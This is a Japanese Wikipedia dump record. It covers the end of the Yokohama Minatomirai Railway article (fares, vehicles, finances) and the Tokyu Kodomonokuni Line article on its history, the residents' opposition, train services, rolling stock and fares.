:いずれも[[鉄道駅バリアフリー料金制度|鉄道駅バリアフリー料金]](10円)を含む<ref>{{Cite web|和書|title=鉄道駅バリアフリー料金についてのご案内|publisher=横浜高速鉄道|date=2023-01-27|url=https://www.mm21railway.co.jp/info/news/2023/01/post-298.html|accessdate=2023-03-20|archiveurl=https://web.archive.org/web/20230320045606/https://www.mm21railway.co.jp/info/news/2023/01/post-298.html|archivedate=2023-03-20}}</ref>。
:* [[新高島駅]] - [[馬車道駅]]の間の各駅と、[[横浜駅]]を挟んで以下の各駅との間を乗車する場合、普通運賃が大人20円・小児10円引きとなる。
:** [[東急電鉄]] [[東急東横線|東横線]]:[[反町駅]] - [[白楽駅]]間の各駅
:** [[京浜急行電鉄]] [[京急本線|本線]]:[[子安駅]] - [[神奈川駅]]間の各駅、[[戸部駅]]、[[日ノ出町駅]]
:** [[相模鉄道]] [[相鉄本線|本線]]:[[平沼橋駅]] - [[天王町駅]]間の各駅
:* 東急電鉄との連絡定期券は、東急線内とみなとみらい線内でそれぞれ以下の割引を行う<ref name=tokyu20220203>{{PDFlink|[https://www.mm21railway.co.jp/info/news/uploads/press%20release_20220203.pdf 東急線・みなとみらい線連絡割引定期券(通勤定期)の割引率・発売額の変更について]}} [[東急電鉄]]、2022年02月03日、2022年02月03日閲覧。</ref>。
:** 通勤1か月・通勤3か月 - 無割引
:** 通勤6か月 - 1割引
:** 通学1か月・通学3か月 - 1割引
:** 通学6か月 - 2割引
* こどもの国線:「[[東急こどもの国線#運賃]]」および「[[東急電鉄#運賃]]」を参照。
== 車両 ==
* [[横浜高速鉄道Y500系電車|Y500系]](みなとみらい線 [[元住吉検車区]]配置)
* [[横浜高速鉄道Y000系電車|Y000系]](こどもの国線 [[長津田検車区]]配置)
自社独自の車庫はなく、両車両とも運行および整備は東急電鉄に委託されている。ただし上記検車区の一部を借地契約で自社の基地として使用する形態となっており<ref>{{Cite web|和書|url=https://tetsudo-ch.com/11040218.html|title=元町・中華街駅の先に10両編成4本の車庫、横浜高速鉄道みなとみらい線 車両留置場計画|publisher=鉄道チャンネル|date=2020-12-26|accessdate=2022-07-29}} {{Wayback|url=https://tetsudo-ch.com/11040218.html |date=20220729132638 }}</ref>、形式上は横浜高速鉄道の車両基地に所属する扱いとなっている<ref>{{Cite book|和書|title=私鉄車両年鑑 2022|publisher=イカロス出版|date=2022-05-30|page=245}}</ref>。
<gallery>
Yokohama-Series-Y501.jpg|みなとみらい線Y500系
Yokohama-kousoku y000.jpg|こどもの国線Y000系
</gallery>
== 賃貸施設 ==
[[京浜急行電鉄]][[横浜駅]]の改良工事にあたり、鉄道駅総合改善事業の補助金を受けるため、横浜高速鉄道が事業主体となって北部改札施設・みなみ通路接続通路・下りホーム等を整備し、完成後は京浜急行電鉄に賃貸している<ref>{{Cite web|和書|url=http://www.city.yokohama.lg.jp/toshi/toshiko/ekiso/ |title=横浜市都市整備局・鉄道駅総合改善事業(京急横浜駅改良)の概要について |publisher=横浜市 |accessdate=2019-12-10 |archiveurl=https://web.archive.org/web/20150626071113/http://www.city.yokohama.lg.jp/toshi/toshiko/ekiso/ |archivedate=2015-06-26 }}</ref>。
== 損益 ==
[[2004年]](平成16年)2月1日のみなとみらい線開業に伴い、着実に営業利益を伸長させてきている(2014年3月期の営業利益は約16.1億円)一方で、[[設備投資]]等も要求され借入金や長期債務の金利負担が重く、毎期20億円近くの支払利息が発生しているものの、堅調な営業利益増や、それによる金利負担削減策等で、2014年3月期において初めて約3.9億円の純利益を計上した。しかし2015年3月期は約3.4億円の赤字と再び赤字決算となったことで、現時点で約122.5億円近い累積欠損を抱えており、暫くは厳しい経営状況下にある。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
* [[横浜高速鉄道みなとみらい線]]
* [[東急こどもの国線]]
* [[横浜市]] / [[横浜市交通局]]
* [[横浜みなとみらい21]]
* [[東急電鉄]]
* [[第三セクター鉄道]]
* [[上下分離方式]]
== 外部リンク ==
{{Commonscat|Yokohama Minatomirai Railway}}
* [https://www.mm21railway.co.jp/ みなとみらい線] - 横浜高速鉄道株式会社
* {{Twitter|mm21railway|みなとみらい線}}
* {{Twitter|MM_line_unkou|みなとみらい線運行情報}}
* {{Facebook|4.1sanpo|わたしの横浜4.1キロさんぽ}}
* {{Instagram|mm21railway_official|みなとみらい線}}
{{PASMO}}
{{パスネット}}
{{Normdaten}}
{{DEFAULTSORT:よこはまこうそくてつとう}}
[[Category:日本の鉄道事業者]]
[[Category:横浜市中区の企業]]
[[Category:横浜高速鉄道|*]]
[[Category:第三セクター鉄道]]
[[Category:横浜市の交通]]
[[Category:1989年設立の企業]]
[[Category:横浜元町]]
[[Category:日本の第三種鉄道事業者]] | 2003-04-17T04:59:00Z | 2023-11-26T01:57:03Z | false | false | false | [
"Template:Wayback",
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| https://ja.wikipedia.org/wiki/%E6%A8%AA%E6%B5%9C%E9%AB%98%E9%80%9F%E9%89%84%E9%81%93 |
6,850 | 東急こどもの国線 | こどもの国線(こどものくにせん)は、神奈川県横浜市緑区の長津田駅と同市青葉区のこどもの国駅を結ぶ鉄道路線である。横浜高速鉄道が第三種鉄道事業者として線路を保有し、東急電鉄が第二種鉄道事業者として旅客の運送を行う。1997年までは社会福祉法人こどもの国協会が施設を所有していた。
路線図や駅ナンバリングで使用される路線カラーは青色、路線記号はKD。
旧日本軍田奈弾薬庫跡地の丘陵に1965年(昭和40年)に開園した「こどもの国」へのアクセス路線として、1967年(昭和42年)4月28日に開業した。開業当初はスタフ閉塞方式だった。
弾薬輸送を目的として1942年(昭和17年)に敷設された、長津田駅から旧・田奈弾薬庫への引き込み線を活用しているが、営業路線への転換や建設に当たって東急が支援している。建設計画時にはこどもの国駅からは現在の緑山スタジオ・シティ、三輪緑山付近を経て小田急小田原線の鶴川駅までの延伸案や、同線玉川学園前駅への延伸案があったが、こどもの国協会法の制定審議過程で延伸案は否案された。
開業初期には大井町駅からの直通臨時快速列車や小学生の遠足などの団体列車の運行もあった。
当初より社会福祉法人(1981年まではこどもの国協会法〈現廃止〉に基づく法人)こどもの国協会が施設を保有し、東急に運転管理を委託する形で営業されていたが、1987年(昭和62年)4月1日、地方鉄道法に代わる鉄道事業法施行により、協会が第三種鉄道事業者、東急が第二種鉄道事業者となる。
1989年(平成元年)1月26日からはワンマン運転が開始され、車両の扉の横に「ワンマン」のシールを貼っていた。
1986年頃から沿線の大規模な宅地化が進み、沿線人口の増加によって通勤需要が高まった。しかし、通勤需要をも担う通常の鉄道路線として営業を行うには公益法人としての目的から逸脱するため、こどもの国協会は1997年(平成9年)8月1日付で第三種鉄道事業を第三セクター横浜高速鉄道に譲渡した。
横浜高速鉄道は、同年10月から改良工事に着手。11月10日から、こどもの国が休園し休園日ダイヤとなる月曜日に、初電と終電を除いて列車を運休した。その間は代行バスを走らせ、こどもの国駅の駅舎を建て替え、ロングレール化を行った。さらに行き違い可能な恩田駅を新設し、2000年(平成12年)3月29日から全時間帯運行し沿線住民の通勤需要も担う通常の鉄道路線として営業を開始した。東急ではこれを「通勤線化」と呼んだ。また、通勤線化完成に先立ち、1999年(平成11年)8月1日からは横浜高速鉄道Y000系の営業運転が開始された。
通勤線化工事がされる前には、弾薬庫への引き込み線だった名残で線路脇に使われなくなった線路やピットが残っている場所もあったが、これらは通勤線化工事に伴いほとんどが撤去されている。
なお、恩田駅付近には長津田車両工場があり、東急電鉄と横浜高速鉄道に所属する全車両の整備と、地方に譲渡される車両の改造などを行っている。
こどもの国線の通勤線化計画に対して沿線の長津田付近の一部住民が反対運動を起こし、 1990年12月に「東急こどもの国線沿線住民会」(以下「住民会」)を結成、横浜市や東急に対して交渉を行った。
通勤線化反対の主な理由は長津田付近にある急カーブによる騒音・振動だが、東急側も沿線住民に配慮し、カーブでのさらなる速度低下やレールにウレタンを貼り付けるなどの対策を行った。
反対運動を展開していた「住民会」は代替案として、騒音・振動の少ないガイドウェイバスやLRTの採用を主張していたが、こどもの国線は長津田車両工場への出入庫路線でもあり、東急の鉄道路線と統一的・一体的に運行する必要があるため却下されている。
運行時間帯は平日が5時台 - 24時台、土休日は6時台 - 23時台であり、列車本数は平日の朝夕の混雑時間帯は最大10分間隔、平日の日中、土休日の終日は20分間隔のパターンダイヤである。また後述する「休園日ダイヤ」も通勤線化によって廃止され、こどもの国の開園の如何に関わらず通常の平日、土休日ダイヤに統一されている。ゴールデンウィークや夏休みなどの多客期には、日中の運転間隔を通常の20分間隔から10分間隔にして運転本数を増やすなど、利用状況に応じた対応をしている。急行などの優等列車の運転は行われていない。
通勤線化前は純粋なこどもの国へのアクセス路線という位置づけで、運転時間帯はこどもの国の開園時間に合わせ、全日8時台 - 18時台となっていた。休日ダイヤの方が本数が多いうえに列車間隔も不均等で、天候やこどもの国の利用状況に応じて運転される「不定期列車」が数多く設定されていた。また、こどもの国の休園日である毎週月曜日(月曜日が祝日の場合はその翌日)は「休園日ダイヤ」という毎時1本程度運転のダイヤであり、この「休園日ダイヤ」にも、通常の休園日に用いられる「平日休園日ダイヤ」と、元日など限られた日しか用いられない「休日休園日ダイヤ」の二種類が存在した。
また途中の交換設備(恩田駅)がなかったため、1本の列車が往復する運行しかできず、ゴールデンウィークや夏休みなどの多客期には、大井町線用の5両編成の列車を走らせて対応していた。この場合はワンマン運転を取りやめ、車掌が乗務していた。
こどもの国線の車両は次の通り。
また、1996年には大井町線用の東急9000系9007Fが計3日間3両編成化されてこどもの国線で運用されたことがある。
2019年11月10日には、東急7000系が臨時運用に加わった。18m車がこどもの国線で運用されるのは20年ぶりの出来事であった。
運賃は他の東急の路線とは別体系となっている。全線均一制で2019年10月1日現在、ICカード利用の場合は157円、切符購入の場合は160円(小児はそれぞれ78円、80円)である。
東急他路線の駅との運賃は合算となるが、田園都市線青葉台駅・田奈駅・つくし野駅・すずかけ台駅の各駅との間は乗継割引があり、合算額から20円(小児10円)引きとなる。ICカードで乗継割引の適用を受けるには、恩田駅もしくはこどもの国駅と、田園都市線長津田駅の改札機通過時刻の差が60分以内である必要がある。
実質全駅無人駅であるが、車内収受は行わない。恩田駅・こどもの国駅には自動券売機・自動改札機・自動精算機が設置されている。長津田駅の本路線乗り場は田園都市線改札外に位置している上、改札口が設けられていない。
特殊な例では、2009年3月20日 - 22日に運転された田園都市線梶が谷駅からの臨時直通列車の乗車には、東急線全線(こどもの国線をふくむ)が1日乗り放題となる「こどもの国入園券セットきっぷ」および同きっぷ購入時に先着配布された臨時列車乗車整理券が必要であった。
また、「横濱中華街 旅グルメきっぷ」、「東急線・東急バス一日乗り放題パス」、「東急線ワンデーパス」は当路線も乗車可能だが、これらの乗車券(「おトクなきっぷ」)は恩田駅・こどもの国駅では発売していないため、田園都市線長津田駅の窓口でこどもの国線乗車に用いた乗車券・ICカードを提示することで「おトクなきっぷ」を差額で購入できる。 | [
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"text": "こどもの国線(こどものくにせん)は、神奈川県横浜市緑区の長津田駅と同市青葉区のこどもの国駅を結ぶ鉄道路線である。横浜高速鉄道が第三種鉄道事業者として線路を保有し、東急電鉄が第二種鉄道事業者として旅客の運送を行う。1997年までは社会福祉法人こどもの国協会が施設を所有していた。",
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"text": "通勤線化前は純粋なこどもの国へのアクセス路線という位置づけで、運転時間帯はこどもの国の開園時間に合わせ、全日8時台 - 18時台となっていた。休日ダイヤの方が本数が多いうえに列車間隔も不均等で、天候やこどもの国の利用状況に応じて運転される「不定期列車」が数多く設定されていた。また、こどもの国の休園日である毎週月曜日(月曜日が祝日の場合はその翌日)は「休園日ダイヤ」という毎時1本程度運転のダイヤであり、この「休園日ダイヤ」にも、通常の休園日に用いられる「平日休園日ダイヤ」と、元日など限られた日しか用いられない「休日休園日ダイヤ」の二種類が存在した。",
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"text": "また途中の交換設備(恩田駅)がなかったため、1本の列車が往復する運行しかできず、ゴールデンウィークや夏休みなどの多客期には、大井町線用の5両編成の列車を走らせて対応していた。この場合はワンマン運転を取りやめ、車掌が乗務していた。",
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"text": "運賃は他の東急の路線とは別体系となっている。全線均一制で2019年10月1日現在、ICカード利用の場合は157円、切符購入の場合は160円(小児はそれぞれ78円、80円)である。",
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"text": "東急他路線の駅との運賃は合算となるが、田園都市線青葉台駅・田奈駅・つくし野駅・すずかけ台駅の各駅との間は乗継割引があり、合算額から20円(小児10円)引きとなる。ICカードで乗継割引の適用を受けるには、恩田駅もしくはこどもの国駅と、田園都市線長津田駅の改札機通過時刻の差が60分以内である必要がある。",
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"text": "また、「横濱中華街 旅グルメきっぷ」、「東急線・東急バス一日乗り放題パス」、「東急線ワンデーパス」は当路線も乗車可能だが、これらの乗車券(「おトクなきっぷ」)は恩田駅・こどもの国駅では発売していないため、田園都市線長津田駅の窓口でこどもの国線乗車に用いた乗車券・ICカードを提示することで「おトクなきっぷ」を差額で購入できる。",
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| こどもの国線(こどものくにせん)は、神奈川県横浜市緑区の長津田駅と同市青葉区のこどもの国駅を結ぶ鉄道路線である。横浜高速鉄道が第三種鉄道事業者として線路を保有し、東急電鉄が第二種鉄道事業者として旅客の運送を行う。1997年までは社会福祉法人こどもの国協会が施設を所有していた。 路線図や駅ナンバリングで使用される路線カラーは青色、路線記号はKD。 | <!-- 記事名に異議がある場合はノートで提案を。-->
{{Infobox 鉄道路線
|路線名=[[File:Tokyu Railways.svg|baseline|20px|東急電鉄]] こどもの国線
|路線色=#0068b7
|ロゴ=File:Tokyu KD line symbol.svg
|ロゴサイズ=40px
|画像=Yokohama-kousoku y000.jpg
|画像サイズ=300px
|画像説明=こどもの国線で運用される<br />[[横浜高速鉄道Y000系電車]]<br />(2007年9月13日、[[恩田駅]]付近)
|国={{JPN}}
|所在地=[[神奈川県]][[横浜市]][[緑区 (横浜市)|緑区]]、[[青葉区 (横浜市)|青葉区]]
|起点=[[長津田駅]]
|終点=[[こどもの国駅 (神奈川県)|こどもの国駅]]
|駅数=3駅
|路線記号=KD
|路線色3=青色
|開業=[[1967年]][[4月28日]]
|休止=
|廃止=
|所有者=[[横浜高速鉄道]]
|運営者=[[東急電鉄]]
|車両基地=東急電鉄[[長津田検車区]]
|使用車両=[[#使用車両|使用車両]]の節を参照
|路線距離=3.4 [[キロメートル|km]]
|軌間=1,067 [[ミリメートル|mm]]
|線路数=[[単線]]
|電化方式=[[直流電化|直流]]1,500 [[ボルト (単位)|V]]<br>[[架空電車線方式]]
|最大勾配=
|最小曲線半径=
|閉塞方式=車内信号閉塞式
|保安装置=[[自動列車制御装置#東急電鉄・横浜高速鉄道|ATC-P]]
|最高速度=65 [[キロメートル毎時|km/h]]<ref name="terada">寺田裕一『データブック日本の私鉄』 - ネコ・パブリッシング</ref>
|路線図=
}}
{| {{Railway line header}}
{{UKrail-header2|停車場・施設・接続路線|#0068b7}}
{{BS-table}}
{{BS4|STRq|BHFq|STRq||||←[[東日本旅客鉄道|JR東]]:[[横浜線]]→|O2=HUBa}}
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{{BS4|||hKRZWae|WASSERr||||}}
{{BS4|||KBHFe||3.4|KD03 [[こどもの国駅 (神奈川県)|こどもの国駅]]||}}
|}
|}
'''こどもの国線'''(こどものくにせん)は、[[神奈川県]][[横浜市]][[緑区 (横浜市)|緑区]]の[[長津田駅]]と同市[[青葉区 (横浜市)|青葉区]]の[[こどもの国駅 (神奈川県)|こどもの国駅]]を結ぶ[[鉄道路線]]である。[[横浜高速鉄道]]が[[鉄道事業者#第三種鉄道事業|第三種鉄道事業者]]として線路を保有し、[[東急電鉄]]が[[鉄道事業者#第二種鉄道事業|第二種鉄道事業者]]として旅客の運送を行う。1997年までは[[社会福祉法人]]こどもの国協会が施設を所有していた。
[[路線図]]や[[駅ナンバリング]]で使用される[[日本の鉄道ラインカラー一覧|路線カラー]]は青色、路線記号は'''KD'''。
== 路線データ ==
* 管轄:横浜高速鉄道(第三種鉄道事業者)、東急電鉄(第二種鉄道事業者)
* 路線距離:3.4 km
* [[軌間]]:1,067 mm
* 複線区間:なし(全線[[単線]])
* 電化区間:全線(直流1,500 V)
* [[閉塞 (鉄道)|閉塞方式]]:車内信号閉塞式([[ATC-P]])
* 最高速度:65 km/h<ref name="terada" />
== 歴史 ==
旧[[日本軍]]田奈[[弾薬庫]]跡地の丘陵に[[1965年]]([[昭和]]40年)に開園した「[[こどもの国 (横浜市)|こどもの国]]」へのアクセス路線として、[[1967年]](昭和42年)[[4月28日]]に開業した。開業当初は[[閉塞 (鉄道)#スタフ閉塞式|スタフ閉塞方式]]だった。
弾薬輸送を目的として[[1942年]](昭和17年)に敷設された<ref>{{Cite web|和書|format=PDF|title=こどもの国の概要|publisher=こどもの国協会|url=https://www.kodomonokuni.org/sansaku/img/danyakuko/sankou.pdf|accessdate=2023-04-13|archiveurl=https://web.archive.org/web/20220128021718/https://www.kodomonokuni.org/sansaku/img/danyakuko/sankou.pdf|archivedate=2022-01-28}}</ref>、長津田駅から旧・田奈弾薬庫への引き込み線を活用しているが、営業路線への転換や建設に当たって東急が支援している<ref name="syuten01">『こどもの国三十年史』池田邦二/編・こどもの国協会/出版</ref>。建設計画時には[[こどもの国駅 (神奈川県)|こどもの国駅]]からは現在の[[緑山スタジオ・シティ]]、三輪緑山付近を経て[[小田急小田原線]]の[[鶴川駅]]までの延伸案や、同線[[玉川学園前駅]]への延伸案があったが、こどもの国協会法の制定審議過程で延伸案は否案された<ref name="syuten01"/>。
開業初期には[[大井町駅]]からの直通臨時[[快速列車]]や小学生の[[遠足]]などの[[団体専用列車|団体列車]]の運行もあった。
当初より社会福祉法人(1981年まではこどもの国協会法〈現廃止〉に基づく法人)こどもの国協会が施設を保有し、東急に運転管理を委託する形で営業されていたが、[[1987年]](昭和62年)[[4月1日]]、[[地方鉄道法]]に代わる[[鉄道事業法]]施行により、協会が第三種鉄道事業者、東急が第二種鉄道事業者となる。
[[1989年]]([[平成]]元年)[[1月26日]]からは[[ワンマン運転]]が開始され、車両の扉の横に「ワンマン」のシールを貼っていた。
[[1986年]]頃から沿線の大規模な宅地化<ref>「緑奈良地区地区計画」横浜市整備局等</ref>が進み、沿線人口の増加によって通勤需要が高まった。しかし、通勤需要をも担う通常の鉄道路線として営業を行うには公益法人としての目的から逸脱するため、こどもの国協会は[[1997年]](平成9年)[[8月1日]]付で第三種鉄道事業を第三セクター横浜高速鉄道に譲渡した。
横浜高速鉄道は、同年10月から改良工事に着手。[[11月10日]]から、こどもの国が休園し休園日ダイヤとなる月曜日に、初電と終電を除いて列車を運休した<ref name="Tokyu1999-11-18">[https://web.archive.org/web/20210205124524/https://www.tokyu.co.jp/file/991118_2.pdf こどもの国線通勤線化工事に伴い、同線の一部運行休止を延長] (1999年11月28日東京急行電鉄ニューリリース・インタ―ネットアーカイブ・2021年時点の版)</ref>。その間は[[代行バス]]を走らせ、こどもの国駅の駅舎を建て替え、[[軌条#ロングレール|ロングレール]]化を行った。さらに行き違い可能な[[恩田駅]]を新設し、[[2000年]](平成12年)[[3月29日]]から全時間帯運行し沿線住民の通勤需要も担う通常の鉄道路線として営業を開始した。東急ではこれを「'''通勤線化'''」と呼んだ<ref name="news00-7">{{Cite press release |和書 |url=http://www.tokyu.co.jp/file/000315.pdf |title=こどもの国線通勤線化に伴い、同線のダイヤ改正と運賃変更を実施 |publisher=東京急行電鉄 |date=2000-03-15 |accessdate=2015-01-17 |format=pdf}}</ref>。また、通勤線化完成に先立ち、[[1999年]](平成11年)8月1日からは[[横浜高速鉄道Y000系電車|横浜高速鉄道Y000系]]の営業運転が開始された。
通勤線化工事がされる前には、弾薬庫への引き込み線だった名残で[[線路 (鉄道)|線路]]脇に使われなくなった線路や[[ピット]]が残っている場所もあったが、これらは通勤線化工事に伴いほとんどが撤去されている。
なお、恩田駅付近には[[長津田車両工場]]があり、東急電鉄と横浜高速鉄道に所属する全車両の整備と、地方に譲渡される車両の改造などを行っている。
<gallery>
ファイル:Tokyu-railway-Kodomonokuni-line-Nagatsuta-station-platform.jpg|こどもの国線専用の長津田駅7番線
ファイル:Kodomono-kuni-eki.jpg|こどもの国駅
ファイル:Kodomonokuni3.JPG|こどもの国
ファイル:Tokyunagatutasyaryoukoujou.JPG|長津田車両工場
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=== 通勤線化反対運動 ===
こどもの国線の通勤線化計画に対して沿線の[[長津田]]付近の一部住民が反対運動を起こし、 1990年12月に「東急こどもの国線沿線住民会」(以下「住民会」)を結成{{Refnest|group="注釈"|「住民会」の主要メンバーには、[[国鉄労働組合|国労]]組合員として[[日本国有鉄道|国鉄]]闘争に関わり、[[国鉄分割民営化]]の際に[[国鉄清算事業団]]を経て退職した元国鉄職員がいる。「東急こどもの国線沿線住民会」の文書が置かれているサイトの設置者紹介より<ref>[http://www.asahi-net.or.jp/~bh7y-isd/index.htm]</ref>。}}、横浜市や東急に対して交渉を行った<ref name=jumin1>{{PDFlink|[http://www.asahi-net.or.jp/~bh7y-isd/img/zenkiroku2014.pdf 「こどもの国線沿線住民会」運動の記録 1990年~2013年(対外版増補)]}} 東急「こどもの国線」沿線住民会</ref><ref name=jumin2>[http://www.asahi-net.or.jp/~bh7y-isd/criti/kodomonokuni.htm 東急「こどもの国線」通勤線化問題のこの5年 -「公共性」というものについて -] 東急「こどもの国線」沿線住民会</ref>。
通勤線化反対の主な理由は長津田付近にある急カーブによる騒音・振動だが{{Refnest|group="注釈"|通勤線化に反対する沿線住民の理由としては他に、横浜市出資の第三セクターである横浜高速鉄道が事業主体となるため、乗客の少ないこどもの国線を通勤線化しても赤字になり、税金が投入されることになるのではないかという懸念も挙げられていた<ref name=jumin1 />。}}、東急側も沿線住民に配慮し、カーブでのさらなる速度低下や[[軌条|レール]]に[[ウレタン]]を貼り付けるなどの対策を行った<ref name=jumin1 /><ref name=jumin2 />。
反対運動を展開していた「住民会」は代替案として、騒音・振動の少ない[[ガイドウェイバス]]や[[ライトレール|LRT]]の採用を主張していたが、こどもの国線は長津田車両工場への出入庫路線でもあり、東急の鉄道路線と統一的・一体的に運行する必要があるため却下されている<ref name=jumin1 /><ref name=jumin2 />。
=== 年表 ===
* [[1967年]]([[昭和]]42年)[[4月28日]] - 開業。
* [[1980年]](昭和55年)[[7月2日]] - 車両が初代3000系列から7200系アルミ車に置き換わる<ref name="FAN1980-10">交友社『鉄道ファン1980年10月号「'80夏 東急ニュース」p.95。</ref>。
* [[1987年]](昭和62年)[[4月1日]] - 鉄道事業法施行により、東京急行電鉄が第二種鉄道事業者、こどもの国協会が第三種鉄道事業者となる。
* [[1989年]]([[平成]]元年)
** [[1月17日]] - 車両が7200系アルミ車からワンマン運転に対応した7000系(7057 - 7052)に置き換わる<ref name="RJournal1989-4">鉄道ジャーナル社『鉄道ジャーナル』1989年4月号RAILWAY TOPICS「東急こどもの国線に7000系ワンマン車」p.102。</ref>。これはワンマン運転に先駆けて、乗務員の[[習熟運転]]を行うためで、[[車掌]]も乗務していた<ref name="PIC1989-4">鉄道図書刊行会『鉄道ピクトリアル』1989年4月号「読者短信」p.112。</ref>。
** [[1月26日]] - ワンマン運転開始<ref name="PIC1989-4"/>。
* [[1990年]](平成2年)12月 - こどもの国線通勤線化計画に反対する「東急こどもの国線沿線住民会」が結成される<ref name=jumin1 />。
* [[1997年]](平成9年)
** [[8月1日]] - こどもの国協会が第三種鉄道事業を横浜高速鉄道に譲渡<ref name="news00-7"/>。こどもの国駅無人化。
** 10月 - 通勤線化のための改良工事開始。
** [[11月10日]] - 改良工事のため休園ダイヤ時の列車を全面運休し、バス代行開始<ref name="Tokyu1999-11-18"/>。
* [[1999年]](平成11年)[[8月1日]] - Y000系運転開始。
* [[2000年]](平成12年)[[3月29日]] - 通勤線化<ref name="news00-7"/>。恩田駅開業<ref name="news00-7"/>。休園ダイヤ廃止。
== 運行形態 ==
{{see also|東急電鉄のダイヤ改正}}
[[File:4両編成で運行されるこどもの国線.jpg|thumb|多客期に4両編成で運行されるこどもの国線]]
=== 通勤線化後 ===
運行時間帯は平日が5時台 - 24時台、土休日は6時台 - 23時台であり、列車本数は平日の朝夕の混雑時間帯は最大10分間隔、平日の日中、土休日の終日は20分間隔の[[パターンダイヤ]]である。また後述する「休園日ダイヤ」も通勤線化によって廃止され、こどもの国の開園の如何に関わらず通常の平日、土休日ダイヤに統一されている。[[ゴールデンウィーク]]や[[夏休み]]などの多客期には、日中の運転間隔を通常の20分間隔から10分間隔にして運転本数を増やすなど、利用状況に応じた対応をしている。急行などの優等列車の運転は行われていない。
=== 通勤線化前 ===
通勤線化前は純粋なこどもの国へのアクセス路線という位置づけで、運転時間帯はこどもの国の開園時間に合わせ、全日8時台 - 18時台となっていた<ref name="news00-7" />。休日ダイヤの方が本数が多いうえに列車間隔も不均等で、天候やこどもの国の利用状況に応じて運転される「不定期列車」が数多く設定されていた。また、こどもの国の休園日である毎週月曜日(月曜日が祝日の場合はその翌日)は「'''休園日ダイヤ'''」という毎時1本程度運転のダイヤであり、この「休園日ダイヤ」にも、通常の休園日に用いられる「'''平日休園日ダイヤ'''」と、[[元日]]など限られた日しか用いられない「'''休日休園日ダイヤ'''」の二種類が存在した。
また途中の[[列車交換|交換設備]](恩田駅)がなかったため、1本の列車が往復する運行しかできず、ゴールデンウィークや夏休みなどの多客期には、[[東急大井町線|大井町線]]用の5両編成の列車を走らせて対応していた。この場合はワンマン運転を取りやめ、車掌が乗務していた。
== 使用車両 ==
こどもの国線の車両は次の通り。
* 初代(開業時 - [[1975年]]):[[東急3000系電車 (初代)|東急3000系]] [[東急3000系電車 (初代)#デハ3400形|デハ3405]]-[[東急3000系電車 (初代)#クハ3850形・サハ3370形|クハ3866]]
** [[1972年]]にクハ3866は[[東急3000系電車 (初代)#クハ3660形|クハ3662]]に取替。閑散時はデハ3405の単行運転。
** その後デハ3405は[[東急車輛製造]](現・[[総合車両製作所]]横浜事業所)の入換車としてこどもの国線塗装のまま[[1985年]]頃まで使用された後は解体。クハ3662は廃車後[[斎藤茂太]]が引き取り府中市の病院で施設として利用、病院の改築時に解体。クハ3866は本線復帰後車体の更新を受け、旧3000系の全廃直前にリバイバルカラー化され、[[1989年]]3月まで[[東急池上線|池上線]]や[[東急目蒲線|目蒲線]]などで使用された。
** 検査等の際は[[東急田園都市線|田園都市線]]所属の7200系などがこどもの国マークを掲げて代走した。
* 2代目(1975年 - [[1980年]]):[[東急3600系電車|東急3000系(3600系)]] デハ3608-クハ3772
** デハ3608は1980年8月に廃車、[[弘南鉄道]]へ譲渡、[[1995年]]まで使用された。クハ3772は11月に目蒲線へ転属、その後池上線で使用され[[1982年]]9月に廃車、上田交通(現・[[上田電鉄]])へ譲渡され、同社別所線の昇圧に伴い1986年に廃車。
* 3代目(1980年 - [[1989年]]):[[東急7200系電車|東急7200系]] デハ7200-クハ7500(アルミ車体試作車)
** [[1991年]]2月に事業用車(デヤ7200・デヤ7290)となり、その後[[東急7500系電車|7500系「TOQi」]]の就役により、デヤ7200は[[2013年]]11月、デヤ7290は[[2014年]]に廃車。
** 検査時及び月曜の休園日は2両編成の[[東急6000系電車 (初代)|東急6000系(初代)]]、混雑時は[[東急5000系電車 (初代)|東急5000系(初代)]]・[[東急8000系電車|東急8000系]]等の大井町線用5両編成を使用<ref>小林和明 「東急'84--チャレンジ100キロ」『鉄道ピクトリアル』35巻1号(1985年1月号臨時増刊・通巻442号)、鉄道図書刊行会。</ref><ref>金子智治 「東急 列車運転の興味」『鉄道ピクトリアル』44巻12号(1994年12月号臨時増刊・通巻600号)、鉄道図書刊行会。</ref>。
* 4代目(1989年 - 2000年):[[東急7000系電車 (初代)|東急7000系(初代)]] デハ7057-デハ7052(ワンマン改造車)
** こどもの国線を引退後、[[東急車輛製造]](現・[[総合車両製作所]]横浜事業所)の入換車となる。その後、2008年からデハ7052が同社内で保存。
** 多客期および7000系が検査入場した際は大井町線用の8000系等を使用。
** この時まで、こどもの国発長津田行でも方向幕は「こどもの国」のまま固定表示して往復していた。長津田行で行先の「長津田」を表示するようになるのは5代目の横浜高速鉄道Y000系からである。
* 5代目(1999年 - ):[[横浜高速鉄道Y000系電車|横浜高速鉄道Y000系]]
** 2両編成。混雑時は2本連結した4両編成で運行されることもある。
** こどもの国線へ新車が直接的に投入されたのはこれが初。
また、1996年には<!--車輪のきしり音対策の試験のため(事実だとは思いますが以下の出典で確認できなかったためコメントアウト)-->大井町線用の[[東急9000系電車|東急9000系]]9007Fが計3日間3両編成化されてこどもの国線で運用されたことがある<ref>金子智治 「東急 運転の興味―2004―」『鉄道ピクトリアル』2004年7月臨時増刊号(通巻749号)特集・東京急行電鉄、鉄道図書刊行会。</ref>。
2019年11月10日には、[[東急7000系電車 (2代)|東急7000系]]が臨時運用に加わった<ref>[https://railf.jp/news/2019/11/11/165000.html こどもの国線多客輸送に東急7000系が使用される] - 鉄道ファン・railf.jp 鉄道ニュース、2019年11月11日</ref>。18m車がこどもの国線で運用されるのは20年ぶりの出来事であった。
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ファイル:Tokyu 7500 Kodomonokuni 198508a.jpg|東急7200系アルミ車体試作車(1985年8月)
ファイル:Tokyu-7000.jpg|Y000系が入線するまで使用された東急7000系電車(1998年頃)
ファイル:Tokyu-8084-Kodomonokuni-Line.jpg|こどもの国線運用に入った東急8090系電車(1991年頃)
ファイル:こどもの国線の臨時運用につく東急7000系.jpg|こどもの国線の臨時運用につく東急7000系
</gallery>
== 運賃 ==
運賃は他の東急の路線とは別体系となっている。全線均一制で2019年10月1日現在、ICカード利用の場合は'''157円'''、切符購入の場合は'''160円'''(小児はそれぞれ78円、80円)である<ref>{{Cite web|和書|url=https://www.tokyu.co.jp/railway/ticket/fares/ |title= 運賃について(制度など)|publisher=東急電鉄|accessdate=2019-10-04}}</ref>。
